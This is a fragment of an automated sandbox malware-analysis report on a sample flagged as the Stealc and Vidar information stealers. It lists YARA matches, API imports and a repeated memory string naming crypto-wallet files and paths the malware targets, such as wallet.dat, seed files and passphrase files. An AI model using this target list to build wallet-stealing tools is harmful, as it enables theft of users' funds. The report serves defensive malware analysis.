Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5A35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C5A35A0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2636691992.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2116035375.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2638083639.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2800, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2800, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local 